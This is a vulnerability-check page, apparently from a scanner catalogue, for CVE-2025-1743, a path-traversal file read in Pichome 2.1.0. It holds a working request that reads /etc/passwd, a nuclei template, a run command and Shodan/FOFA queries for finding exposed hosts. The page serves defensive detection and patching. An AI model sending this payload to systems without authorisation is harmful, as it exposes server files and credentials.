Pichome 2.1.0 - Arbitrary File Read

highseverity

5.3CVSS score

1.7%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

A vulnerability, which was classified as critical, was found in zyx0814 Pichome 2.1.0. This affects an unknown part of the file /index.php?mod=textviewer. The manipulation of the argument src leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

Impact

Unauthenticated attackers can read arbitrary files from the server through path traversal in the src parameter, potentially exposing sensitive configuration files, credentials, and user data.

Fix

Upgrade to Pichome version 2.1.1 or later that properly validates file paths.

How to confirm it

Send: GET {{BaseURL}}/index.php?mod=textviewer&src=file:///etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2025-1743 -u <target>

The full check

id: CVE-2025-1743

info:
  name: Pichome 2.1.0 - Arbitrary File Read
  author: 3th1c_yuk1
  severity: high
  description: |
    A vulnerability, which was classified as critical, was found in zyx0814 Pichome 2.1.0. This affects an unknown part of the file /index.php?mod=textviewer. The manipulation of the argument src leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server through path traversal in the src parameter, potentially exposing sensitive configuration files, credentials, and user data.
  remediation: |
    Upgrade to Pichome version 2.1.1 or later that properly validates file paths.
  reference:
    - https://github.com/sheratan4/cve/issues/4
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1743
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-22
    cve-id: CVE-2025-1743
    epss-score: 0.0166
    epss-percentile: 0.76868
    cpe: cpe:2.3:a:zyx0814:pichome:2.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    shodan-query: title:"PicHome"
    fofa-query: title="PicHome"
    vendor: zyx0814
    product: Pichome
  tags: cve,cve2025,lfi,pichome,zyx0814,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?mod=textviewer&src=file:///etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - ".scrollbar__wrap"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from